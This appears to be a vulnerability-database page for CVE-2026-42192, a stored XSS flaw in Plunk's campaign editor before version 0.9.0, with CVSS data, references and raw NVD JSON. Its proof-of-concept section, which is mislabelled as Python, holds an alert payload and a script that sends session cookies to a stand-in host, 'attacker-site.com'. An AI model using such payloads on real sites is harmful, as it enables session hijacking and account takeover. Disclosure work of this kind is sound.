CVE-2026-42192

Description

Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, a stored cross-site scripting (XSS) vulnerability exists in the campaign management feature, where the email body content created by authenticated project members is stored and later rendered in the admin dashboard using React's dangerouslySetInnerHTML without any HTML sanitization. This allows a lower-privileged member to embed malicious scripts in a campaign's email body that execute in the context of any admin or other member who views the campaign, potentially enabling session hijacking or unauthorized actions on their behalf. This issue has been patched in version 0.9.0.

CVSS Details

CVSS Score

5.4

Severity

MEDIUM

CVSS Vector

CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N

Configurations (Affected Products)

No configuration data available.

Plunk < 0.9.0

PoC / Exploit Code

⚠ For Security Research Only

The following code is for security research and authorized testing only.

python

<!-- PoC for CVE-2026-42192: Stored XSS in Plunk -->
<!-- Step 1: Login as a low-privileged project member -->
<!-- Step 2: Edit a campaign and inject the following payload into the email body -->

<!-- Basic Payload to test execution -->
<img src="x" onerror="alert('CVE-2026-42192_Executed')">

<!-- Advanced Payload to steal session cookies -->
<!-- <script>
    var i = new Image();
    i.src = "http://attacker-site.com/steal.php?cookie=" + document.cookie;
</script> -->

References

[1] CVE.org https://www.cve.org/CVERecord?id=CVE-2026-42192
[2] NVD NIST https://nvd.nist.gov/vuln/detail/CVE-2026-42192
[3] CVE Details https://www.cvedetails.com/cve/CVE-2026-42192/
[4] VulDB https://vuldb.com/cve/CVE-2026-42192
[5] https://github.com/useplunk/plunk/releases/tag/v0.9.0
[6] https://github.com/useplunk/plunk/security/advisories/GHSA-mjqc-qrv3-24hq

Raw JSON Data

JSON

{"cve": {"id": "CVE-2026-42192", "sourceIdentifier": "[email protected]", "published": "2026-05-08T22:16:31.133", "lastModified": "2026-05-08T22:16:31.133", "vulnStatus": "Received", "cveTags": [], "descriptions": [{"lang": "en", "value": "Plunk is an open-source email platform built on top of AWS SES. Prior to version 0.9.0, a stored cross-site scripting (XSS) vulnerability exists in the campaign management feature, where the email body content created by authenticated project members is stored and later rendered in the admin dashboard using React's dangerouslySetInnerHTML without any HTML sanitization. This allows a lower-privileged member to embed malicious scripts in a campaign's email body that execute in the context of any admin or other member who views the campaign, potentially enabling session hijacking or unauthorized actions on their behalf. This issue has been patched in version 0.9.0."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:R/S:C/C:L/I:L/A:N", "baseScore": 5.4, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "REQUIRED", "scope": "CHANGED", "confidentialityImpact": "LOW", "integrityImpact": "LOW", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.3, "impactScore": 2.7}]}, "weaknesses": [{"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-79"}]}], "references": [{"url": "https://github.com/useplunk/plunk/releases/tag/v0.9.0", "source": "[email protected]"}, {"url": "https://github.com/useplunk/plunk/security/advisories/GHSA-mjqc-qrv3-24hq", "source": "[email protected]"}]}}